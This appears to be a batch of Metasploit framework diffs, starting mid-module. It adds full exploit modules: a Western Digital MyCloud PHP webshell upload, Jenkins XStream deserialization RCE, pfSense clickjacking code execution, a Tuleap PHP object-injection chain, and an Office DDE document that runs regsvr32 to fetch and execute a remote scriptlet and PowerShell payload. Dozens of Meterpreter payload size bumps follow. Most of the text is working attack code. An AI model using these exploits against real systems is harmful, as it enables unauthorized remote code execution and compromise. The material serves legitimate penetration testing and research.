if res.code == 302 && res.headers['Location'] =~ /\?status=1/
return CheckCode::Vulnerable
end
CheckCode::Safe
end
def upload(web_folder, fname, file)
# construct post data
data = Rex::MIME::Message.new
data.add_part(file, 'application/x-php', nil, "form-data; name=\"Filedata[]\"; filename=\"#{fname}\"")
# upload
res = send_request_cgi({
'method' => 'POST',
'uri' => '/web/jquery/uploader/multi_uploadify.php',
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'data' => data.to_s,
'vars_get' => {
'folder' => web_folder
}
})
end
def exploit
if check != CheckCode::Vulnerable
fail_with(Failure::NotVulnerable, 'Target does not appear to be a vulnerable Western Digital MyCloud device')
end
# upload PHP payload to '/var/www' (webroot).
web_folder = '/var/www'
php = "<?php #{payload.encoded} ?>"
print_status("Uploading PHP payload (#{php.length} bytes) to '#{web_folder}'.")
fname = ".#{rand_text_alphanumeric(rand(10) + 6)}.php"
res = upload(web_folder, fname, php)
# check upload response
fail_with(Failure::Unreachable, 'No response received from the target.') unless res
if res.code != 302 || res.headers['Location'] =~ /\?status=0/
fail_with(Failure::UnexpectedReply, "Unexpected reply (#{res.body.length} bytes)")
end
print_good('Uploaded PHP payload successfully.')
# register uploaded php payload file for cleanup
register_files_for_cleanup(fname)
# retrieve and execute PHP payload
print_status("Making request for '/#{fname}' to execute payload.")
res = send_request_cgi({'uri' => normalize_uri(fname)}, 15)
end
end

View File

@ -124,7 +124,7 @@ class MetasploitModule < Msf::Exploit::Remote
return true
# incase we are not targeting the default app
elsif res and res.code == 500 and es.body !=~ /id/
elsif res and res.code == 500 and res.body !=~ /id/
return true
end
return false

View File

@ -0,0 +1,141 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
include Msf::Exploit::Powershell
def initialize(info = {})
super(update_info(info,
'Name' => 'Jenkins XStream Groovy classpath Deserialization Vulnerability',
'Description' => %q{
This module exploits CVE-2016-0792 a vulnerability in Jenkins versions older than 1.650 and Jenkins LTS versions
older than 1.642.2 which is caused by unsafe deserialization in XStream with Groovy in the classpath,
which allows remote arbitrary code execution. The issue affects default installations. Authentication
is not required to exploit the vulnerability.
},
'Author' =>
[
'Arshan Dabirsiaghi', # Vulnerability discovery
'Matt Byrne <attackdebris[at]gmail.com>' # Metasploit module
],
'DisclosureDate' => 'Feb 24 2016',
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2016-0792'],
['URL', 'https://www.contrastsecurity.com/security-influencers/serialization-must-die-act-2-xstream'],
['URL', 'https://wiki.jenkins.io/pages/viewpage.action?pageId=95585413']
],
'Platform' => %w{ win linux unix },
'Arch' => [ARCH_CMD, ARCH_PYTHON, ARCH_X86, ARCH_X64],
'Targets' => [
['Unix (In-Memory)',
'Platform' => 'unix',
'Arch' => ARCH_CMD
],
['Python (In-Memory)',
'Platform' => 'python',
'Arch' => ARCH_PYTHON
],
['Linux (Dropper)',
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64]
],
['Windows (Dropper)',
'Platform' => 'win',
'Arch' => [ARCH_X86, ARCH_X64]
]
],
'DefaultTarget' => 0
))
register_options([
OptString.new('TARGETURI', [true, 'The base path to Jenkins', '/']),
Opt::RPORT('8080')
])
deregister_options('URIPATH')
end
def check
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path)
})
unless res
fail_with(Failure::Unknown, 'The connection timed out.')
end
http_headers = res.headers
if http_headers['X-Jenkins'] && http_headers['X-Jenkins'].to_f < 1.650
return Exploit::CheckCode::Appears
else
return Exploit::CheckCode::Safe
end
end
def exploit
case target.name
when /Unix/, /Python/
execute_command(payload.encoded)
else
execute_cmdstager
end
end
# Exploit methods
def execute_command(cmd, opts = {})
cmd = case target.name
when /Unix/, /Linux/
%W{/bin/sh -c #{cmd}}
when /Python/
%W{python -c #{cmd}}
when /Windows/
%W{cmd.exe /c #{cmd}}
end
# Encode each command argument with XML entities
cmd.map! { |arg| arg.encode(xml: :text) }
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/createItem'),
'vars_get' => { 'name' => 'random' },
'ctype' => 'application/xml',
'data' => xstream_payload(cmd)
)
end
def xstream_payload(cmd)
<<EOF
<map>
<entry>
<groovy.util.Expando>
<expandoProperties>
<entry>
<string>hashCode</string>
<org.codehaus.groovy.runtime.MethodClosure>
<delegate class="groovy.util.Expando"/>
<owner class="java.lang.ProcessBuilder">
<command>
<string>#{cmd.join('</string><string>')}</string>
</command>
</owner>
<method>start</method>
</org.codehaus.groovy.runtime.MethodClosure>
</entry>
</expandoProperties>
</groovy.util.Expando>
<int>1</int>
</entry>
</map>
EOF
end
end

View File

@ -0,0 +1,153 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpServer::HTML
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Clickjacking Vulnerability In CSRF Error Page pfSense',
'Description' => %q{
This module exploits a Clickjacking vulnerability in pfSense <= 2.4.1.
pfSense is a free and open source firewall and router. It was found that the
pfSense WebGUI is vulnerable to Clickjacking. By tricking an authenticated admin
into interacting with a specially crafted webpage it is possible for an attacker
to execute arbitrary code in the WebGUI. Since the WebGUI runs as the root user,
this will result in a full compromise of the pfSense instance.
},
'Author' => 'Yorick Koster',
'Payload' => { 'BadChars' => '"' },
'License' => MSF_LICENSE,
'References' =>
[
['URL', 'https://securify.nl/en/advisory/SFY20171101/clickjacking-vulnerability-in-csrf-error-page-pfsense.html'],
['URL', 'https://doc.pfsense.org/index.php/2.4.2_New_Features_and_Changes']
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process'
},
'Arch' => ARCH_PHP,
'Platform' => 'php',
'Targets' =>
[
[ 'pfSense <= 2.4.1', { 'auto' => false } ]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Nov 21 2017'
)
)
register_options(
[
OptString.new('TARGETURI', [true, 'The base path to the web application', 'https://192.168.1.1'])
]
)
end
def js_file
@js ||= lambda {
path = File.join(Msf::Config.data_directory, 'exploits', 'pfsense_clickjacking', 'cookieconsent.min.js')
return File.read(path)
}.call
end
def css_file
@css ||= lambda {
path = File.join(Msf::Config.data_directory, 'exploits', 'pfsense_clickjacking', 'cookieconsent.min.css')
return File.read(path)
}.call
end
def background_file
@background ||= lambda {
path = File.join(Msf::Config.data_directory, 'exploits', 'pfsense_clickjacking', 'background.jpg')
return File.read(path)
}.call
end
def on_request_uri(cli, request)
print_status("GET #{request.uri} #{request.headers['User-Agent']}")
resp = create_response(200, "OK")
if request.uri =~ /\.js$/
resp.body = js_file
resp['Content-Type'] = 'text/javascript'
elsif request.uri =~ /\.css$/
resp.body = css_file
resp['Content-Type'] = 'text/css'
elsif request.uri =~ /\.jpg$/
resp.body = background_file
resp['Content-Type'] = 'image/jpg'
else
if datastore['TARGETURI'].end_with? '/'
url = datastore['TARGETURI'] + 'diag_command.php'
else
url = datastore['TARGETURI'] + '/diag_command.php'
end
framename = rand_text_alpha(16)
divname = rand_text_alpha(16)
resp.body = %Q|<!DOCTYPE html>
<html>
<meta charset="utf-8">
<link rel="stylesheet" type="text/css" href="#{get_resource.chomp('/')}/cookieconsent.min.css" />
<script src="#{get_resource.chomp('/')}/cookieconsent.min.js"></script>
<script>
window.addEventListener("load", function(){
window.cookieconsent.initialise({
"palette": {
"popup": {
"background": "#000",
"text": "#0f0"
},
"button": {
"background": "#0f0"
}
},
"position": "top",
"static": true
});
});
</script>
<script>
document.cookie = 'cookieconsent_status=; expires=Thu, 01 Jan 1970 00:00:01 GMT;';
window.addEventListener('load', function(){
document.forms[0].post.click();
document.onmousemove = function(e) {
var e = e \|\| window.event;
var s = document.getElementById('#{divname}');
s.style.left = (e.clientX - 10) + 'px';
s.style.top = (e.clientY - 5) + 'px';
};
});
</script>
<body style="background-image:url(#{get_resource.chomp('/')}/background.jpg);background-size:cover;">
<div id="#{divname}" style="position:absolute;z-index:10;border:none;width:20px;height:10px;overflow:hidden;opacity:0.0;">
<iframe src="about:blank" name="#{framename}" sandbox="allow-forms" border="no" scrolling="no" width="800" height="800" style="width:400px;height:800px;margin-top:-70px;margin-left:-40px;"></iframe>
</div>
<div style="display:none">
<form action="#{url}" method="POST" enctype="multipart/form-data" target="#{framename}">
<input type="hidden" name="txtPHPCommand" value="#{payload.encoded}" />
<input type="hidden" name="submit" value="EXECPHP" />
<input type="submit" name="post"/>
</form>
</div>
</body>
</html>
|
resp['Content-Type'] = 'text/html'
end
cli.send_response(resp)
end
end

View File

@ -0,0 +1,184 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Tuleap 9.6 Second-Order PHP Object Injection',
'Description' => %q{
This module exploits a Second-Order PHP Object Injection vulnerability in Tuleap <= 9.6 which
could be abused by authenticated users to execute arbitrary PHP code with the permissions of the
webserver. The vulnerability exists because of the User::getRecentElements() method is using the
unserialize() function with data that can be arbitrarily manipulated by a user through the REST
API interface. The exploit's POP chain abuses the __toString() method from the Mustache class
to reach a call to eval() in the Transition_PostActionSubFactory::fetchPostActions() method.
},
'Author' => 'EgiX',
'License' => MSF_LICENSE,
'References' =>
[
['URL', 'http://karmainsecurity.com/KIS-2017-02'],
['URL', 'https://tuleap.net/plugins/tracker/?aid=10118'],
['CVE', '2017-7411']
],
'Privileged' => false,
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Targets' => [ ['Tuleap <= 9.6', {}] ],
'DefaultTarget' => 0,
'DisclosureDate' => 'Oct 23 2017'
))
register_options(
[
OptString.new('TARGETURI', [true, "The base path to the web application", "/"]),
OptString.new('USERNAME', [true, "The username to authenticate with" ]),
OptString.new('PASSWORD', [true, "The password to authenticate with" ]),
OptInt.new('AID', [ false, "The Artifact ID you have access to", "1"]),
Opt::RPORT(443)
])
end
def setup_popchain(random_param)
print_status("Trying to login through the REST API...")
user = datastore['USERNAME']
pass = datastore['PASSWORD']
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'api/tokens'),
'ctype' => 'application/json',
'data' => {'username' => user, 'password' => pass}.to_json
})
unless res && (res.code == 201 || res.code == 200) && res.body
msg = "Login failed with #{user}:#{pass}"
print_error(msg) if @is_check
fail_with(Failure::NoAccess, msg)
end
body = JSON.parse(res.body)
uid = body['user_id']
token = body['token']
print_good("Login successful with #{user}:#{pass}")
print_status("Updating user preference with POP chain string...")
php_code = "null;eval(base64_decode($_POST['#{random_param}']));//"
pop_chain = 'a:1:{i:0;a:1:{'
pop_chain << 's:2:"id";O:8:"Mustache":2:{'
pop_chain << 'S:12:"\00*\00_template";'
pop_chain << 's:42:"{{#fetchPostActions}}{{/fetchPostActions}}";'
pop_chain << 'S:11:"\00*\00_context";a:1:{'
pop_chain << 'i:0;O:34:"Transition_PostAction_FieldFactory":1:{'
pop_chain << 'S:23:"\00*\00post_actions_classes";a:1:{'
pop_chain << "i:0;s:#{php_code.length}:\"#{php_code}\";}}}}}}"
pref = {'id' => uid, 'preference' => {'key' => 'recent_elements', 'value' => pop_chain}}
res = send_request_cgi({
'method' => 'PATCH',
'uri' => normalize_uri(target_uri.path, "api/users/#{uid}/preferences"),
'ctype' => 'application/json',
'headers' => {'X-Auth-Token' => token, 'X-Auth-UserId' => uid},
'data' => pref.to_json
})
unless res && res.code == 200
msg = "Something went wrong"
print_error(msg) if @is_check
fail_with(Failure::UnexpectedReply, msg)
end
end
def do_login
print_status("Retrieving the CSRF token for login...")
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'account/login.php')
})
if res && res.code == 200 && res.body && res.get_cookies
if res.body =~ /name="challenge" value="(\w+)">/
csrf_token = $1
print_good("CSRF token: #{csrf_token}")
else
print_warning("CSRF token not found. Trying to login without it...")
end
else
msg = "Failed to retrieve the login page"
print_error(msg) if @is_check
fail_with(Failure::NoAccess, msg)
end
user = datastore['USERNAME']
pass = datastore['PASSWORD']
res = send_request_cgi({
'method' => 'POST',
'cookie' => res.get_cookies,
'uri' => normalize_uri(target_uri.path, 'account/login.php'),
'vars_post' => {'form_loginname' => user, 'form_pw' => pass, 'challenge' => csrf_token}
})
unless res && res.code == 302
msg = "Login failed with #{user}:#{pass}"
print_error(msg) if @is_check
fail_with(Failure::NoAccess, msg)
end
print_good("Login successful with #{user}:#{pass}")
res.get_cookies
end
def exec_php(php_code)
random_param = rand_text_alpha(10)
setup_popchain(random_param)
session_cookies = do_login()
print_status("Triggering the POP chain...")
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, "plugins/tracker/?aid=#{datastore['AID']}"),
'cookie' => session_cookies,
'vars_post' => {random_param => Rex::Text.encode_base64(php_code)}
})
if res && res.code == 200 && res.body =~ /Exiting with Error/
msg = "No access to Artifact ID #{datastore['AID']}"
@is_check ? print_error(msg) : fail_with(Failure::NoAccess, msg)
end
res
end
def check
@is_check = true
flag = rand_text_alpha(rand(10)+20)
res = exec_php("print '#{flag}';")
if res && res.code == 200 && res.body =~ /#{flag}/
return Exploit::CheckCode::Vulnerable
elsif res && res.body =~ /Exiting with Error/
return Exploit::CheckCode::Unknown
end
Exploit::CheckCode::Safe
end
def exploit
@is_check = false
exec_php(payload.encoded)
end
end

View File

@ -25,7 +25,6 @@ class MetasploitModule < Msf::Exploit::Remote
'References' =>
[
['CVE', '2014-8791'],
['OSVDB', '115128'],
['URL', 'http://karmainsecurity.com/KIS-2014-13'],
['URL', 'https://tuleap.net/plugins/tracker/?aid=7601']
],

View File

@ -64,7 +64,7 @@ class MetasploitModule < Msf::Exploit::Remote
print_error("Unable to login as #{user}")
return
end
store_valid_credential(user: username, private: password, proof: cookie)
store_valid_credential(user: user, private: password, proof: cookie)
print_status("Trying to upload payload")
filename = "#{rand_text_alpha_lower(8)}.php"

View File

@ -0,0 +1,157 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ManualRanking
include Msf::Exploit::Remote::HttpServer
include Msf::Exploit::FILEFORMAT
include Msf::Exploit::Powershell
include Msf::Exploit::EXE
def initialize(info = {})
super(update_info(info,
'Name' => 'Microsoft Office DDE Payload Delivery',
'Description' => %q{
This module generates an DDE command to place within
a word document, that when executed, will retrieve a HTA payload
via HTTP from an web server.
},
'Author' => 'mumbai',
'License' => MSF_LICENSE,
'DisclosureDate' => 'Oct 9 2017',
'References' => [
['URL', 'https://gist.github.com/xillwillx/171c24c8e23512a891910824f506f563'],
['URL', 'https://sensepost.com/blog/2017/macro-less-code-exec-in-msword/']
],
'Arch' => [ARCH_X86, ARCH_X64],
'Platform' => 'win',
'Stance' => Msf::Exploit::Stance::Aggressive,
'Targets' =>
[
['Microsoft Office', {} ],
],
'DefaultTarget' => 0,
'Payload' => {
'DisableNops' => true
},
'DefaultOptions' => {
'DisablePayloadHandler' => false,
'PAYLOAD' => 'windows/meterpreter/reverse_tcp',
'EXITFUNC' => 'thread'
}
))
register_options([
OptString.new("FILENAME", [true, "Filename to save as", "msf.rtf"]),
OptPath.new("INJECT_PATH", [false, "Path to file to inject", nil])
])
end
def gen_psh(url, *method)
ignore_cert = Rex::Powershell::PshMethods.ignore_ssl_certificate if ssl
if method.include? 'string'
download_string = datastore['PSH-Proxy'] ? (Rex::Powershell::PshMethods.proxy_aware_download_and_exec_string(url)) : (Rex::Powershell::PshMethods.download_and_exec_string(url))
else
# Random filename to use, if there isn't anything set
random = "#{rand_text_alphanumeric 8}.exe"
# Set filename (Use random filename if empty)
filename = datastore['BinaryEXE-FILENAME'].blank? ? random : datastore['BinaryEXE-FILENAME']
# Set path (Use %TEMP% if empty)
path = datastore['BinaryEXE-PATH'].blank? ? "$env:temp" : %Q('#{datastore['BinaryEXE-PATH']}')
# Join Path and Filename
file = %Q(echo (#{path}+'\\#{filename}'))
# Generate download PowerShell command
download_string = Rex::Powershell::PshMethods.download_run(url, file)
end
download_and_run = "#{ignore_cert}#{download_string}"
# Generate main PowerShell command
return generate_psh_command_line(noprofile: true, windowstyle: 'hidden', command: download_and_run)
end
def on_request_uri(cli, _request)
if _request.raw_uri =~ /\.sct$/
print_status("Handling request for .sct from #{cli.peerhost}")
payload = gen_psh("#{get_uri}", "string")
data = gen_sct_file(payload)
send_response(cli, data, 'Content-Type' => 'text/plain')
else
print_status("Delivering payload to #{cli.peerhost}...")
p = regenerate_payload(cli)
data = cmd_psh_payload(p.encoded,
payload_instance.arch.first,
remove_comspec: true,
exec_in_place: true
)
send_response(cli, data, 'Content-Type' => 'application/octet-stream')
end
end
def rand_class_id
"#{Rex::Text.rand_text_hex 8}-#{Rex::Text.rand_text_hex 4}-#{Rex::Text.rand_text_hex 4}-#{Rex::Text.rand_text_hex 4}-#{Rex::Text.rand_text_hex 12}"
end
def gen_sct_file(command)
# If the provided command is empty, a correctly formatted response is still needed (otherwise the system raises an error).
if command == ''
return %{<?XML version="1.0"?><scriptlet><registration progid="#{Rex::Text.rand_text_alphanumeric 8}" classid="{#{rand_class_id}}"></registration></scriptlet>}
# If a command is provided, tell the target system to execute it.
else
return %{<?XML version="1.0"?><scriptlet><registration progid="#{Rex::Text.rand_text_alphanumeric 8}" classid="{#{rand_class_id}}"><script><![CDATA[ var r = new ActiveXObject("WScript.Shell").Run("#{command}",0);]]></script></registration></scriptlet>}
end
end
def retrieve_header(filename)
if (not datastore['INJECT_PATH'].nil?)
path = "#{datastore['INJECT_PATH']}"
else
path = nil
end
if (not path.nil?)
if ::File.file?(path)
::File.open(path, 'rb') do |fd|
header = fd.read(fd.stat.size).split('{\*\datastore').first
header = header.to_s
print_status("Injecting #{path}...")
return header
end
else
header = '{\rtf1\ansi\ansicpg1252\deff0\nouicompat\deflang1033{\fonttbl{\f0\fnil\fcharset0 Calibri;}}' + "\n"
header << '{\*\generator Riched20 6.3.9600}\viewkind4\uc1' + "\n"
header << '\pard\sa200\sl276\slmult1\f0\fs22\lang9' + "\n"
end
else
header = '{\rtf1\ansi\ansicpg1252\deff0\nouicompat\deflang1033{\fonttbl{\f0\fnil\fcharset0 Calibri;}}' + "\n"
header << '{\*\generator Riched20 6.3.9600}\viewkind4\uc1' + "\n"
header << '\pard\sa200\sl276\slmult1\f0\fs22\lang9' + "\n"
end
return header
end
def create_rtf
#
header = retrieve_header(datastore['FILENAME'])
field_class = '{\field{\*\fldinst {\rtlch\fcs1 \af31507 \ltrch\fcs0 \insrsid3807165 '
field_class << "DDEAUTO C:\\\\\\\\Programs\\\\\\\\Microsoft\\\\\\\\Office\\\\\\\\MSword.exe\\\\\\\\..\\\\\\\\..\\\\\\\\..\\\\\\\\..\\\\\\\\Windows\\\\\\\\System32\\\\\\\\cmd.exe \"/c regsvr32 /s /n /u /i:#{get_uri}.sct scrobj.dll\" }}"
field_class << '{\fldrslt }}\sectd \ltrsect\linex0\endnhere\sectlinegrid360\sectdefaultcl\sftnbj {\rtlch\fcs1 \af31507 \ltrch\fcs0' + "\n"
field_class << '\insrsid5790315' + "\n"
field_class << '\par }'
footer = '}}' # footer
rtf = header + field_class + footer
rtf
end
def primer
file_create(create_rtf)
end
end

View File

@ -10,7 +10,7 @@ require 'windows_error'
class MetasploitModule < Msf::Exploit::Remote
Rank = AverageRanking
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Remote::DCERPC
def initialize(info = {})
super(update_info(info,
@ -267,63 +267,9 @@ class MetasploitModule < Msf::Exploit::Remote
return ret
end
# https://github.com/CoreSecurity/impacket/blob/master/examples/getArch.py
# https://msdn.microsoft.com/en-us/library/cc243948.aspx#Appendix_A_53
def verify_arch
ret = false
return true if !datastore['VerifyArch']
pkt = Rex::Proto::DCERPC::Packet.make_bind(
# Abstract Syntax: EPMv4 V3.0
'e1af8308-5d1f-11c9-91a4-08002b14a0fa', '3.0',
# Transfer Syntax[1]: 64bit NDR V1
'71710533-beba-4937-8319-b5dbef9ccc36', '1.0'
).first
begin
sock = connect(false,
'RHOST' => rhost,
'RPORT' => 135
)
rescue Rex::ConnectionError => e
print_error(e.to_s)
return false
end
sock.put(pkt)
begin
res = sock.get_once(60)
rescue EOFError
print_error('DCE/RPC socket returned EOFError')
return false
end
disconnect(sock)
begin
resp = Rex::Proto::DCERPC::Response.new(res)
rescue Rex::Proto::DCERPC::Exceptions::InvalidPacket => e
print_error(e.to_s)
return false
end
case target_arch.first
when ARCH_X64
# Ack result: Acceptance (0)
if resp.ack_result.first == 0
ret = true
end
when ARCH_X86
# Ack result: Provider rejection (2)
# Ack reason: Proposed transfer syntaxes not supported (2)
if resp.ack_result.first == 2 && resp.ack_reason.first == 2
ret = true
end
end
ret
return true unless datastore['VerifyArch']
(dcerpc_getarch == target_arch.first) ? true : false
end
def print_core_buffer(os)

View File

@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_aarch64_linux'
module MetasploitModule
CachedSize = 693880
CachedSize = 966280
include Msf::Payload::Single
include Msf::Sessions::MeterpreterOptions

View File

@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_aarch64_linux'
module MetasploitModule
CachedSize = 693880
CachedSize = 966280
include Msf::Payload::Single
include Msf::Sessions::MeterpreterOptions

View File

@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_aarch64_linux'
module MetasploitModule
CachedSize = 693880
CachedSize = 966280
include Msf::Payload::Single
include Msf::Sessions::MeterpreterOptions

View File

@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_armbe_linux'
module MetasploitModule
CachedSize = 682608
CachedSize = 902524
include Msf::Payload::Single
include Msf::Sessions::MeterpreterOptions

View File

@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_armbe_linux'
module MetasploitModule
CachedSize = 682608
CachedSize = 902524
include Msf::Payload::Single
include Msf::Sessions::MeterpreterOptions

View File

@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_armbe_linux'
module MetasploitModule
CachedSize = 682608
CachedSize = 902524
include Msf::Payload::Single
include Msf::Sessions::MeterpreterOptions

View File

@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_armle_linux'
module MetasploitModule
CachedSize = 682608
CachedSize = 898776
include Msf::Payload::Single
include Msf::Sessions::MeterpreterOptions

View File

@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_armle_linux'
module MetasploitModule
CachedSize = 682608
CachedSize = 898776
include Msf::Payload::Single
include Msf::Sessions::MeterpreterOptions

View File

@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_armle_linux'
module MetasploitModule
CachedSize = 682608
CachedSize = 898776
include Msf::Payload::Single
include Msf::Sessions::MeterpreterOptions

View File

@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_mips64_linux'
module MetasploitModule
CachedSize = 1081096
CachedSize = 1384552
include Msf::Payload::Single
include Msf::Sessions::MeterpreterOptions

View File

@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_mips64_linux'
module MetasploitModule
CachedSize = 1081096
CachedSize = 1384552
include Msf::Payload::Single
include Msf::Sessions::MeterpreterOptions

View File

@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_mips64_linux'
module MetasploitModule
CachedSize = 1081096
CachedSize = 1384552
include Msf::Payload::Single
include Msf::Sessions::MeterpreterOptions

View File

@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_mipsbe_linux'
module MetasploitModule
CachedSize = 1058488
CachedSize = 1280872
include Msf::Payload::Single
include Msf::Sessions::MeterpreterOptions

View File

@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_mipsbe_linux'
module MetasploitModule
CachedSize = 1058488
CachedSize = 1280872
include Msf::Payload::Single
include Msf::Sessions::MeterpreterOptions

View File

@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_mipsbe_linux'
module MetasploitModule
CachedSize = 1058488
CachedSize = 1280872
include Msf::Payload::Single
include Msf::Sessions::MeterpreterOptions

View File

@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_mipsle_linux'
module MetasploitModule
CachedSize = 1058584
CachedSize = 1281916
include Msf::Payload::Single
include Msf::Sessions::MeterpreterOptions

View File

@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_mipsle_linux'
module MetasploitModule
CachedSize = 1058584
CachedSize = 1281916
include Msf::Payload::Single
include Msf::Sessions::MeterpreterOptions

View File

@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_mipsle_linux'
module MetasploitModule
CachedSize = 1058584
CachedSize = 1281916
include Msf::Payload::Single
include Msf::Sessions::MeterpreterOptions

View File

@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_ppc_linux'
module MetasploitModule
CachedSize = 856196
CachedSize = 1060624
include Msf::Payload::Single
include Msf::Sessions::MeterpreterOptions

View File

@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_ppc_linux'
module MetasploitModule
CachedSize = 856196
CachedSize = 1060624
include Msf::Payload::Single
include Msf::Sessions::MeterpreterOptions

View File

@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_ppc_linux'
module MetasploitModule
CachedSize = 856196
CachedSize = 1060624
include Msf::Payload::Single
include Msf::Sessions::MeterpreterOptions

View File

@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_ppc64le_linux'
module MetasploitModule
CachedSize = 857808
CachedSize = 1014112
include Msf::Payload::Single
include Msf::Sessions::MeterpreterOptions

View File

@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_ppc64le_linux'
module MetasploitModule
CachedSize = 857808
CachedSize = 1014112
include Msf::Payload::Single
include Msf::Sessions::MeterpreterOptions

View File

@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_ppc64le_linux'
module MetasploitModule
CachedSize = 857808
CachedSize = 1014112
include Msf::Payload::Single
include Msf::Sessions::MeterpreterOptions

View File

@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_ppce500v2_linux'
module MetasploitModule
CachedSize = 856196
CachedSize = 1013304
include Msf::Payload::Single
include Msf::Sessions::MeterpreterOptions

View File

@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_ppce500v2_linux'
module MetasploitModule
CachedSize = 856196
CachedSize = 1013304
include Msf::Payload::Single
include Msf::Sessions::MeterpreterOptions

View File

@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_ppce500v2_linux'
module MetasploitModule
CachedSize = 856196
CachedSize = 1013304
include Msf::Payload::Single
include Msf::Sessions::MeterpreterOptions

View File

@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_x64_linux'
module MetasploitModule
CachedSize = 746944
CachedSize = 905984
include Msf::Payload::Single
include Msf::Sessions::MeterpreterOptions

View File

@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_x64_linux'
module MetasploitModule
CachedSize = 746944
CachedSize = 905984
include Msf::Payload::Single
include Msf::Sessions::MeterpreterOptions

View File

@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_x64_linux'
module MetasploitModule
CachedSize = 746944
CachedSize = 905984
include Msf::Payload::Single
include Msf::Sessions::MeterpreterOptions

View File

@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_x86_linux'
module MetasploitModule
CachedSize = 794800
CachedSize = 956868
include Msf::Payload::Single
include Msf::Sessions::MeterpreterOptions

View File

@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_x86_linux'
module MetasploitModule
CachedSize = 794800
CachedSize = 956868
include Msf::Payload::Single
include Msf::Sessions::MeterpreterOptions

View File

@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_x86_linux'
module MetasploitModule
CachedSize = 794800
CachedSize = 956868
include Msf::Payload::Single
include Msf::Sessions::MeterpreterOptions

View File

@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_zarch_linux'
module MetasploitModule
CachedSize = 907360
CachedSize = 1071464
include Msf::Payload::Single
include Msf::Sessions::MeterpreterOptions

View File

@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_zarch_linux'
module MetasploitModule
CachedSize = 907360
CachedSize = 1071464
include Msf::Payload::Single
include Msf::Sessions::MeterpreterOptions

View File

@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_zarch_linux'
module MetasploitModule
CachedSize = 907360
CachedSize = 1071464
include Msf::Payload::Single
include Msf::Sessions::MeterpreterOptions

View File

@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_x64_osx'
module MetasploitModule
CachedSize = 793284
CachedSize = 802564
include Msf::Payload::Single
include Msf::Sessions::MeterpreterOptions

View File

@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_x64_osx'
module MetasploitModule
CachedSize = 793284
CachedSize = 802564
include Msf::Payload::Single
include Msf::Sessions::MeterpreterOptions

View File

@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_x64_osx'
module MetasploitModule
CachedSize = 793284
CachedSize = 802564
include Msf::Payload::Single
include Msf::Sessions::MeterpreterOptions

View File

@ -11,7 +11,7 @@ require 'msf/base/sessions/meterpreter_python'
module MetasploitModule
CachedSize = 57798
CachedSize = 58390
include Msf::Payload::Single
include Msf::Payload::Python

View File

@ -11,7 +11,7 @@ require 'msf/base/sessions/meterpreter_python'
module MetasploitModule
CachedSize = 57762
CachedSize = 58354
include Msf::Payload::Single
include Msf::Payload::Python

View File

